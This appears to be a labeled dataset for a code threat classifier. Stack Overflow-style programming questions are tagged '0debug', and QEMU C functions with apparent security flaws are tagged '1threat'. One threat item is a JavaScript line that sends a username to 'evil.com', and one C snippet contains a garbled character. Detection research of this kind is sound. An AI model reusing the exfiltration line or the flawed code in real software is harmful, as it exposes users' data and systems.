<p>and below is my code screenshot:
<a href="https://i.stack.imgur.com/ouuBr.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/ouuBr.png" alt="enter image description here"></a></p>
| 0debug
|
static int tap_alloc(char *dev, size_t dev_size)
{
int tap_fd, if_fd, ppa = -1;
static int ip_fd = 0;
char *ptr;
static int arp_fd = 0;
int ip_muxid, arp_muxid;
struct strioctl strioc_if, strioc_ppa;
int link_type = I_PLINK;
struct lifreq ifr;
char actual_name[32] = "";
memset(&ifr, 0x0, sizeof(ifr));
if( *dev ){
ptr = dev;
while( *ptr && !qemu_isdigit((int)*ptr) ) ptr++;
ppa = atoi(ptr);
}
if( ip_fd )
close(ip_fd);
TFR(ip_fd = open("/dev/udp", O_RDWR, 0));
if (ip_fd < 0) {
syslog(LOG_ERR, "Can't open /dev/ip (actually /dev/udp)");
return -1;
}
TFR(tap_fd = open("/dev/tap", O_RDWR, 0));
if (tap_fd < 0) {
syslog(LOG_ERR, "Can't open /dev/tap");
return -1;
}
strioc_ppa.ic_cmd = TUNNEWPPA;
strioc_ppa.ic_timout = 0;
strioc_ppa.ic_len = sizeof(ppa);
strioc_ppa.ic_dp = (char *)&ppa;
if ((ppa = ioctl (tap_fd, I_STR, &strioc_ppa)) < 0)
syslog (LOG_ERR, "Can't assign new interface");
TFR(if_fd = open("/dev/tap", O_RDWR, 0));
if (if_fd < 0) {
syslog(LOG_ERR, "Can't open /dev/tap (2)");
return -1;
}
if(ioctl(if_fd, I_PUSH, "ip") < 0){
syslog(LOG_ERR, "Can't push IP module");
return -1;
}
if (ioctl(if_fd, SIOCGLIFFLAGS, &ifr) < 0)
syslog(LOG_ERR, "Can't get flags\n");
snprintf (actual_name, 32, "tap%d", ppa);
pstrcpy(ifr.lifr_name, sizeof(ifr.lifr_name), actual_name);
ifr.lifr_ppa = ppa;
if (ioctl (if_fd, SIOCSLIFNAME, &ifr) < 0)
syslog (LOG_ERR, "Can't set PPA %d", ppa);
if (ioctl(if_fd, SIOCGLIFFLAGS, &ifr) <0)
syslog (LOG_ERR, "Can't get flags\n");
if (ioctl (if_fd, I_PUSH, "arp") < 0)
syslog (LOG_ERR, "Can't push ARP module (2)");
if (ioctl (ip_fd, I_POP, NULL) < 0)
syslog (LOG_ERR, "I_POP failed\n");
if (ioctl (ip_fd, I_PUSH, "arp") < 0)
syslog (LOG_ERR, "Can't push ARP module (3)\n");
TFR(arp_fd = open ("/dev/tap", O_RDWR, 0));
if (arp_fd < 0)
syslog (LOG_ERR, "Can't open %s\n", "/dev/tap");
strioc_if.ic_cmd = SIOCSLIFNAME;
strioc_if.ic_timout = 0;
strioc_if.ic_len = sizeof(ifr);
strioc_if.ic_dp = (char *)𝔦
if (ioctl(arp_fd, I_STR, &strioc_if) < 0){
syslog (LOG_ERR, "Can't set ifname to arp\n");
}
if((ip_muxid = ioctl(ip_fd, I_LINK, if_fd)) < 0){
syslog(LOG_ERR, "Can't link TAP device to IP");
return -1;
}
if ((arp_muxid = ioctl (ip_fd, link_type, arp_fd)) < 0)
syslog (LOG_ERR, "Can't link TAP device to ARP");
close (if_fd);
memset(&ifr, 0x0, sizeof(ifr));
pstrcpy(ifr.lifr_name, sizeof(ifr.lifr_name), actual_name);
ifr.lifr_ip_muxid = ip_muxid;
ifr.lifr_arp_muxid = arp_muxid;
if (ioctl (ip_fd, SIOCSLIFMUXID, &ifr) < 0)
{
ioctl (ip_fd, I_PUNLINK , arp_muxid);
ioctl (ip_fd, I_PUNLINK, ip_muxid);
syslog (LOG_ERR, "Can't set multiplexor id");
}
snprintf(dev, dev_size, "tap%d", ppa);
return tap_fd;
}
| 1threat
|
static QVirtIO9P *qvirtio_9p_pci_init(void)
{
QVirtIO9P *v9p;
QVirtioPCIDevice *dev;
v9p = g_new0(QVirtIO9P, 1);
v9p->alloc = pc_alloc_init();
v9p->bus = qpci_init_pc(NULL);
dev = qvirtio_pci_device_find(v9p->bus, VIRTIO_ID_9P);
g_assert_nonnull(dev);
g_assert_cmphex(dev->vdev.device_type, ==, VIRTIO_ID_9P);
v9p->dev = (QVirtioDevice *) dev;
qvirtio_pci_device_enable(dev);
qvirtio_reset(v9p->dev);
qvirtio_set_acknowledge(v9p->dev);
qvirtio_set_driver(v9p->dev);
v9p->vq = qvirtqueue_setup(v9p->dev, v9p->alloc, 0);
return v9p;
}
| 1threat
|
Javascript: only execute a function if body class is exist : I have a body class like this:
<body class="horizontal">
I try to target with the following code:
'use strict';
(function() {
if(document.body.className === 'horizontal') {
alert('It exists');
};
})();
But this is just not working. The `alert` not popping up. I would like to prefer a pure javascript solution, to not include Jquery because of this.
| 0debug
|
No ... when text is too long in UIbutton (Swift) : When the text is too long, uibutton will show ..., is it possible to delete ... ?
| 0debug
|
Error converting data type nvarchar to float in sql 2008 : select sum(cast(mmax as float) from table
mmax datatype nvarchar in this value is
string,int,decimal, value
I trying to sum of like value 17.50,35.00
i am avoiding string value in where clause
But not solved this problem
Error throw
| 0debug
|
Swift , CoreData not inserting a record. : I have a function which errors where marker // ERRORS HERE
The db is empty, I try to append a Persistence record, then set its values,
tasks[0].persistencevalue = "Some Text"!
Any help would be appreciated.
Thanks
The stack shows :
2017-08-18 10:09:07.158047+0100 Ontrack[6491:1684506] [error] error: CoreData: error: Failed to call designated initializer on NSManagedObject class 'Persistence'
CoreData: error: CoreData: error: Failed to call designated initializer on NSManagedObject class 'Persistence'
2017-08-18 10:09:08.678 Ontrack[6491:1684506] -[Persistence setPersistencevalue:]: unrecognized selector sent to instance 0x60800026a040
2017-08-18 10:09:08.681 Ontrack[6491:1684506] *** Terminating app due to uncaught exception 'NSInvalidArgumentException', reason: '-[Persistence setPersistencevalue:]: unrecognized selector sent to instance 0x60800026a040'
===========================================================================
func Update() {
let context = (UIApplication.shared.delegate as! AppDelegate).persistentContainer.viewContext
let app = (UIApplication.shared.delegate as! AppDelegate )
var tasks: [ Persistence] = []
let pers = Persistence()
tasks.append(pers)
cnt = tasks.count
// ERRORS HERE
tasks[0].persistencevalue = Rate.text!
// END ERROR
}
| 0debug
|
void monitor_init(CharDriverState *hd, int show_banner)
{
int i;
if (is_first_init) {
for (i = 0; i < MAX_MON; i++) {
monitor_hd[i] = NULL;
}
is_first_init = 0;
}
for (i = 0; i < MAX_MON; i++) {
if (monitor_hd[i] == NULL) {
monitor_hd[i] = hd;
break;
}
}
hide_banner = !show_banner;
qemu_chr_add_handlers(hd, term_can_read, term_read, term_event, NULL);
}
| 1threat
|
How to structure api calls in Vue.js? : <p>I'm currently working on a new Vue.js application. It depends heavily on api calls to my backend database. </p>
<p>For a lot of things I use Vuex stores because it manages shared data between my components. When looking at other Vue projects on github I see a special vuex directory with files that handles all the actions, states and so on. So when a component has to call the API, it includes the actions file from the vuex directory.</p>
<p>But, for messages for example, I don't want to use Vuex because those data is only important for one specific view. I want to use the component specific data here. But here is my problem: I still need to query my api. But I shouldn't include the Vuex actions file. So in that way I should create a new actions file. This way I have a specific file with api actions for vuex and for single components.</p>
<p>How should I structure this? Creating a new directory 'api' that handles actions for both vuex data and component-specific data? Or separate it?</p>
| 0debug
|
C++ Program Bug : <p>Given an array. Program should find all pairs the sum of which is can divided by 7. I write this code, but code did not pass all tests</p>
<pre><code>#include <iostream>
using namespace std;
int m[7];
int main() {
int n, k = 0;
cin>>n;
long long a;
for(int i = 0; i < n; i++) {
cin>>a;
a %= 7;
if(m[(7 - a) % 7] > 0) {
k += m[(7 - a) % 7];
}
m[a]++;
}
cout<<k;
return 0;
}
</code></pre>
| 0debug
|
Is it possible to wrap a flow type in an immutable container? : <p>For example, given the following record:</p>
<pre class="lang-js prettyprint-override"><code>type UserRecord = {
id: string;
name: ?string;
age: number;
}
</code></pre>
<p>Is there some way to do the equivalent of the following:</p>
<pre class="lang-js prettyprint-override"><code>/* @flow */
import { List, Map } from 'immutable'
const users: List<Map<UserRecord>> = List();
let user: Map<UserRecord>;
user = Map({ id: '666', age: 30 });
users.push(user);
</code></pre>
<p>Otherwise I end up simply using something like <code>Map<string, any></code> which I think takes away from using Immutable.js with the Flow type system.</p>
| 0debug
|
int pcilg_service_call(S390CPU *cpu, uint8_t r1, uint8_t r2)
{
CPUS390XState *env = &cpu->env;
S390PCIBusDevice *pbdev;
uint64_t offset;
uint64_t data;
MemoryRegion *mr;
uint8_t len;
uint32_t fh;
uint8_t pcias;
cpu_synchronize_state(CPU(cpu));
if (env->psw.mask & PSW_MASK_PSTATE) {
program_interrupt(env, PGM_PRIVILEGED, 4);
return 0;
}
if (r2 & 0x1) {
program_interrupt(env, PGM_SPECIFICATION, 4);
return 0;
}
fh = env->regs[r2] >> 32;
pcias = (env->regs[r2] >> 16) & 0xf;
len = env->regs[r2] & 0xf;
offset = env->regs[r2 + 1];
pbdev = s390_pci_find_dev_by_fh(fh);
if (!pbdev) {
DPRINTF("pcilg no pci dev\n");
setcc(cpu, ZPCI_PCI_LS_INVAL_HANDLE);
return 0;
}
switch (pbdev->state) {
case ZPCI_FS_RESERVED:
case ZPCI_FS_STANDBY:
case ZPCI_FS_DISABLED:
case ZPCI_FS_PERMANENT_ERROR:
setcc(cpu, ZPCI_PCI_LS_INVAL_HANDLE);
return 0;
case ZPCI_FS_ERROR:
setcc(cpu, ZPCI_PCI_LS_ERR);
s390_set_status_code(env, r2, ZPCI_PCI_ST_BLOCKED);
return 0;
default:
break;
}
if (pcias < 6) {
if ((8 - (offset & 0x7)) < len) {
program_interrupt(env, PGM_OPERAND, 4);
return 0;
}
mr = pbdev->pdev->io_regions[pcias].memory;
memory_region_dispatch_read(mr, offset, &data, len,
MEMTXATTRS_UNSPECIFIED);
} else if (pcias == 15) {
if ((4 - (offset & 0x3)) < len) {
program_interrupt(env, PGM_OPERAND, 4);
return 0;
}
data = pci_host_config_read_common(
pbdev->pdev, offset, pci_config_size(pbdev->pdev), len);
switch (len) {
case 1:
break;
case 2:
data = bswap16(data);
break;
case 4:
data = bswap32(data);
break;
case 8:
data = bswap64(data);
break;
default:
program_interrupt(env, PGM_OPERAND, 4);
return 0;
}
} else {
DPRINTF("invalid space\n");
setcc(cpu, ZPCI_PCI_LS_ERR);
s390_set_status_code(env, r2, ZPCI_PCI_ST_INVAL_AS);
return 0;
}
env->regs[r1] = data;
setcc(cpu, ZPCI_PCI_LS_OK);
return 0;
}
| 1threat
|
static void vmxnet3_fill_stats(VMXNET3State *s)
{
int i;
if (!s->device_active)
return;
for (i = 0; i < s->txq_num; i++) {
pci_dma_write(PCI_DEVICE(s),
s->txq_descr[i].tx_stats_pa,
&s->txq_descr[i].txq_stats,
sizeof(s->txq_descr[i].txq_stats));
}
for (i = 0; i < s->rxq_num; i++) {
pci_dma_write(PCI_DEVICE(s),
s->rxq_descr[i].rx_stats_pa,
&s->rxq_descr[i].rxq_stats,
sizeof(s->rxq_descr[i].rxq_stats));
}
}
| 1threat
|
How to check a valid contact number in PHP : <p>I want to check a valid contact number:-</p>
<ul>
<li>The number may or may not start with a + sign.</li>
<li>The number may contain <code>space</code> and hyphen (-) sign.</li>
<li>There should be no consecutive hyphen (-) sign.</li>
<li>There should be no other alphabets, special characters, etc.</li>
</ul>
<p>An example of valid contact number is + 91-8341239834 or +91 033 2664 3271</p>
<p>The number must not exceed 20 characters.</p>
<p>How can I do this?</p>
<p>here is my code till now:-</p>
<pre><code>preg_match('/^[0-9 .\-]+$/i', $number)
</code></pre>
| 0debug
|
spring-data-rest integration test fails with simple json request : <p>My spring-data-rest integration test fails for a simple json request. Consider the below jpa models</p>
<p><strong>Order.java</strong></p>
<pre><code>public class Order {
@Id @GeneratedValue//
private Long id;
@ManyToOne(fetch = FetchType.LAZY)//
private Person creator;
private String type;
public Order(Person creator) {
this.creator = creator;
}
// getters and setters
}
</code></pre>
<p><strong>Person.java</strong></p>
<pre><code>ic class Person {
@Id @GeneratedValue private Long id;
@Description("A person's first name") //
private String firstName;
@Description("A person's last name") //
private String lastName;
@Description("A person's siblings") //
@ManyToMany //
private List<Person> siblings = new ArrayList<Person>();
@ManyToOne //
private Person father;
@Description("Timestamp this person object was created") //
private Date created;
@JsonIgnore //
private int age;
private int height, weight;
private Gender gender;
// ... getters and setters
}
</code></pre>
<p>In my test I created a person by using personRepository and inited order by passing person</p>
<pre><code>Person creator = new Person();
creator.setFirstName("Joe");
creator.setLastName("Keith");
created.setCreated(new Date());
created.setAge("30");
creator = personRepository.save(creator);
Order order = new Order(creator);
String orderJson = new ObjectMapper().writeValueAsString(order);
mockMvc.perform(post("/orders").content(orderJson).andDoPrint());
</code></pre>
<p>Order is created but creator is not associated with the order. Also I want to pass request body as a json object. In this my json object should contain creator as follows</p>
<pre><code>{
"type": "1",
"creator": {
"id": 1,
"firstName": "Joe",
"lastName": "Keith",
"age": 30
}
}
</code></pre>
<p>If I send request body with the following json, the call works fine</p>
<pre><code>{
"type": "1",
"creator": "http://localhost/people/1"
}
</code></pre>
<p>But I don't want to send the second json. Any idea how to solve the issue. Because already my client is consuming the server response by sending first json. Now I migrated my server to use spring-data-rest. After that all my client code is not working.</p>
<p>How to solve this?</p>
| 0debug
|
how to disable download video option : <p>i want to disable download video link from control panel of video tag.</p>
<hr>
<pre><code> <video oncontextmenu="return false;" id="myVideo" autoplay controls>
<source src="uploads/videos/<?php echo $vid;?>" type="video/mp4">
</video>
</code></pre>
| 0debug
|
static void vnc_update_client(void *opaque)
{
VncState *vs = opaque;
if (vs->need_update && vs->csock != -1) {
int y;
uint8_t *row;
char *old_row;
uint32_t width_mask[VNC_DIRTY_WORDS];
int n_rectangles;
int saved_offset;
int has_dirty = 0;
vga_hw_update();
vnc_set_bits(width_mask, (ds_get_width(vs->ds) / 16), VNC_DIRTY_WORDS);
row = ds_get_data(vs->ds);
old_row = vs->old_data;
for (y = 0; y < ds_get_height(vs->ds); y++) {
if (vnc_and_bits(vs->dirty_row[y], width_mask, VNC_DIRTY_WORDS)) {
int x;
uint8_t *ptr;
char *old_ptr;
ptr = row;
old_ptr = (char*)old_row;
for (x = 0; x < ds_get_width(vs->ds); x += 16) {
if (memcmp(old_ptr, ptr, 16 * ds_get_bytes_per_pixel(vs->ds)) == 0) {
vnc_clear_bit(vs->dirty_row[y], (x / 16));
} else {
has_dirty = 1;
memcpy(old_ptr, ptr, 16 * ds_get_bytes_per_pixel(vs->ds));
}
ptr += 16 * ds_get_bytes_per_pixel(vs->ds);
old_ptr += 16 * ds_get_bytes_per_pixel(vs->ds);
}
}
row += ds_get_linesize(vs->ds);
old_row += ds_get_linesize(vs->ds);
}
if (!has_dirty && !vs->audio_cap) {
qemu_mod_timer(vs->timer, qemu_get_clock(rt_clock) + VNC_REFRESH_INTERVAL);
return;
}
n_rectangles = 0;
vnc_write_u8(vs, 0);
vnc_write_u8(vs, 0);
saved_offset = vs->output.offset;
vnc_write_u16(vs, 0);
for (y = 0; y < vs->serverds.height; y++) {
int x;
int last_x = -1;
for (x = 0; x < vs->serverds.width / 16; x++) {
if (vnc_get_bit(vs->dirty_row[y], x)) {
if (last_x == -1) {
last_x = x;
}
vnc_clear_bit(vs->dirty_row[y], x);
} else {
if (last_x != -1) {
int h = find_dirty_height(vs, y, last_x, x);
send_framebuffer_update(vs, last_x * 16, y, (x - last_x) * 16, h);
n_rectangles++;
}
last_x = -1;
}
}
if (last_x != -1) {
int h = find_dirty_height(vs, y, last_x, x);
send_framebuffer_update(vs, last_x * 16, y, (x - last_x) * 16, h);
n_rectangles++;
}
}
vs->output.buffer[saved_offset] = (n_rectangles >> 8) & 0xFF;
vs->output.buffer[saved_offset + 1] = n_rectangles & 0xFF;
vnc_flush(vs);
}
if (vs->csock != -1) {
qemu_mod_timer(vs->timer, qemu_get_clock(rt_clock) + VNC_REFRESH_INTERVAL);
}
}
| 1threat
|
Moving Background Image with custom segue swift : [I want to get moving background animation like this.][1]
1.Can anyone help me with this problem. 2.Is it possible to make this kind of animation in horizontally
[1]: https://www.google.com/url?sa=i&url=https%3A%2F%2Fstackoverflow.com%2Fquestions%2F27848409%2Fcustom-segue-with-separate-moving-background&psig=AOvVaw3uk7bWBM2G2D1alZzP4UY9&ust=1582018785523000&source=images&cd=vfe&ved=0CAIQjRxqFwoTCLC7qLGl2OcCFQAAAAAdAAAAABAD
| 0debug
|
static int xhci_submit(XHCIState *xhci, XHCITransfer *xfer, XHCIEPContext *epctx)
{
uint64_t mfindex;
DPRINTF("xhci_submit(slotid=%d,epid=%d)\n", xfer->slotid, xfer->epid);
xfer->in_xfer = epctx->type>>2;
switch(epctx->type) {
case ET_INTR_OUT:
case ET_INTR_IN:
case ET_BULK_OUT:
case ET_BULK_IN:
xfer->pkts = 0;
xfer->iso_xfer = false;
break;
case ET_ISO_OUT:
case ET_ISO_IN:
xfer->pkts = 1;
xfer->iso_xfer = true;
mfindex = xhci_mfindex_get(xhci);
xhci_calc_iso_kick(xhci, xfer, epctx, mfindex);
xhci_check_iso_kick(xhci, xfer, epctx, mfindex);
if (xfer->running_retry) {
return -1;
}
break;
default:
fprintf(stderr, "xhci: unknown or unhandled EP "
"(type %d, in %d, ep %02x)\n",
epctx->type, xfer->in_xfer, xfer->epid);
return -1;
}
if (xhci_setup_packet(xfer) < 0) {
return -1;
}
usb_handle_packet(xfer->packet.ep->dev, &xfer->packet);
xhci_complete_packet(xfer);
if (!xfer->running_async && !xfer->running_retry) {
xhci_kick_ep(xhci, xfer->slotid, xfer->epid, xfer->streamid);
}
return 0;
}
| 1threat
|
php code to check IP address and stop script : <p>I need simple code to check server IP address and if was not equal xx.xx.xx.xx , then php script stop and not work. This way I want limit this script to work for specific IP only.</p>
| 0debug
|
Augmented Reality ( AR ) on HTML5 and WebGL : <p>I have a web app that is about to get released and i will make an Hybrid App from the web source and i want to add the AR feature to the mobile application, i saw working examples online combining HTML5 video elements and WebGL technology, but what made me curious is that not all mobile OS versions in Android and iOS are supporting the HTML based Augmented Reality.</p>
<p>Is it possible to link HTML Mobile App to native resources to get a more supported AR feature? give me just the name of available technologies to do this, i will follow and search till i get it functioning.</p>
<p>Thank you in advance.</p>
| 0debug
|
How neural networks/ML could help for micro service? : <p>I am wondering whether neural networks could help in monitoring the user request for micro services and also for monolithic service which will improve the performance of the productivity. I need a detailed advice about my query.</p>
<p>I have got this to know when reading <a href="https://techbeacon.com/enterprise-it/how-ancestry-used-ai-optimize-its-microservices-apps" rel="nofollow noreferrer">this</a> article. I am also interested in any other ideas that ML could help micro services or in monitoring server.</p>
| 0debug
|
How to properly autostart an asp.net application in IIS10 : <p>I'm trying to get my ASP.NET application to automatically start whenever the application pool is running.</p>
<p>As per the lots and lots of references online I have already done the following:</p>
<ul>
<li>Set the Application Pool to <code>StartMode=AlwaysRunning</code></li>
<li>Set the site in question (that belongs to beforementioned Pool) to <code>preloadEnabled=true</code></li>
<li>Install the <code>Application Initialization</code> feature to the Windows installation</li>
<li>Add the <code><applicationInitialization></code> node to the web.config's <code><system.webServer></code> node</li>
</ul>
<p>The web application is based on Owin and has a simple log4net logging statement in it's <code>Startup.Configuration()</code> method. Now when restarting IIS I see that the w3svc.exe process is running, so I know the <code>StartMode=AlwaysRunning</code> is working. There are however no logging messages in the log file.</p>
<p>Navigating to any url (even a nonexisting one) in the application will start the app and add the log line.</p>
<p>Because of the actual work that's done in the startup of the application I really want the application to truly preload, but I seem to be unable to get it done.</p>
<p>Searching this site I have unfortunately not been able to find a solution. </p>
<p>Thanks in advance.</p>
| 0debug
|
static void test_init(TestData *d)
{
QPCIBus *bus;
QTestState *qs;
char *s;
s = g_strdup_printf("-machine q35 %s %s",
d->noreboot ? "" : "-global ICH9-LPC.noreboot=false",
!d->args ? "" : d->args);
qs = qtest_start(s);
qtest_irq_intercept_in(qs, "ioapic");
g_free(s);
bus = qpci_init_pc(NULL);
d->dev = qpci_device_find(bus, QPCI_DEVFN(0x1f, 0x00));
g_assert(d->dev != NULL);
qpci_device_enable(d->dev);
qpci_config_writel(d->dev, ICH9_LPC_PMBASE, PM_IO_BASE_ADDR | 0x1);
qpci_config_writeb(d->dev, ICH9_LPC_ACPI_CTRL, 0x80);
qpci_config_writel(d->dev, ICH9_LPC_RCBA, RCBA_BASE_ADDR | 0x1);
d->tco_io_base = qpci_legacy_iomap(d->dev, PM_IO_BASE_ADDR + 0x60);
}
| 1threat
|
Efficient way to loop through spark dataframe and determine counts of column values as types : <p>I have a spark dataframe, I would like to loop through each column in the dataframe and determine the count of datatypes(int, string, boolean, datetype) for each column. NOT the column type overall, but the counts of each value as it's own type. So for example</p>
<pre><code>col_1|col_2|col_3
aaa
bbb
14
16
true
</code></pre>
<p>So the counts for col_1 would be, strings=2, int=2, boolean=1</p>
<p>Is there a way to do this in spark? If so, how? How do I need to convert to rdd and loop through each row?</p>
| 0debug
|
INSERT DATA FROM ONE DATABASE TABLE TO ANOTHER DATABSE TABLE IN SAME SERVER : I wrote This query useing MYSQL work bench for insert data into one database to another Datbase,But it doesn't work,can you help me to solve this problem
USE att2000;
create trigger trgAfterInsert
after insert on CHECKINOUT for each row
INSERT INTO orangehrm_mysql.ohrm_attendance_record(employee_id,punch_in_utc_time) values(USERID,CHECKTIME);
SELECT
checkinout.USERID, checkinout.CHECKTIME
FROM
CHECKINOUT
WHERE
HOUR(CHECKTIME) < 12;
INSERT INTO orangehrm_mysql.ohrm_attendance_record(employee_id,punch_out_user_time) values(USERID,CHECKTIME);
SELECT
checkinout.USERID, checkinout.CHECKTIME
FROM
CHECKINOUT
WHERE
HOUR(CHECKTIME) >= 12;
| 0debug
|
Is there a limit for number of items (CSSearchableItem) in Core Spotlight CSSearchableIndex in iOS 9? : <p>I have around <strong>110,000</strong> entries (CSSearchableItem) that I want to index into iOS 9 Spotlight Search results. However I only managed to show around <strong>30,000</strong> items. The rest was never indexed / appeared when I do the search. So I'm not really sure if there's a limit for an app to to index its entries into the system.</p>
<p>Thanks.</p>
| 0debug
|
document.location = 'http://evil.com?username=' + user_input;
| 1threat
|
why am i not able to work with the doGet()? : while i was learning servlet i used the method doGet() and i was using Get request method ,the HTTP Status 500 error showed up ,but while using doPost() and post request was working perfectly fine.why am i not able to work with the doGet().
HTTP Status 500 – Internal Server Error
Type Exception Report
Message null
Description The server encountered an unexpected condition that prevented it from fulfilling the request.
Exception
java.lang.NumberFormatException: null
java.lang.Integer.parseInt(Unknown Source)
java.lang.Integer.parseInt(Unknown Source)
com.kiran.AddServlet.doGet(AddServlet.java:12)
javax.servlet.http.HttpServlet.service(HttpServlet.java:634)
javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
Note The full stack trace of the root cause is available in the server logs.
Apache Tomcat/9.0.27
| 0debug
|
static inline void t_gen_mov_TN_preg(TCGv tn, int r)
{
if (r < 0 || r > 15) {
fprintf(stderr, "wrong register read $p%d\n", r);
}
if (r == PR_BZ || r == PR_WZ || r == PR_DZ) {
tcg_gen_mov_tl(tn, tcg_const_tl(0));
} else if (r == PR_VR) {
tcg_gen_mov_tl(tn, tcg_const_tl(32));
} else {
tcg_gen_mov_tl(tn, cpu_PR[r]);
}
}
| 1threat
|
void qemu_bh_delete(QEMUBH *bh)
{
qemu_bh_cancel(bh);
qemu_free(bh);
}
| 1threat
|
I want to change size,style of a letter and fill bacground of cell if a cell contains specific letters . I have no idea how to write in vba : I have a table that cell input could be X or C OR G or T.
-If the cell is X I would like font size to be 5 or less ( specify ) and fill cell with a style
- If cell has input of C or G or T then font to be BOLD and size 11 and font color Red or and cell filled yellow or ?
I have NO IDEA how to evn start :)
| 0debug
|
SQL query to print employee id and the dates they were absent : Have a table which stores the transactions of the employees id card swiped and swiped out. Columns employee id, name, swipe in date and time, swipe out date and time
How to write an SQL query that prints the employee id and dates they were absent.
| 0debug
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.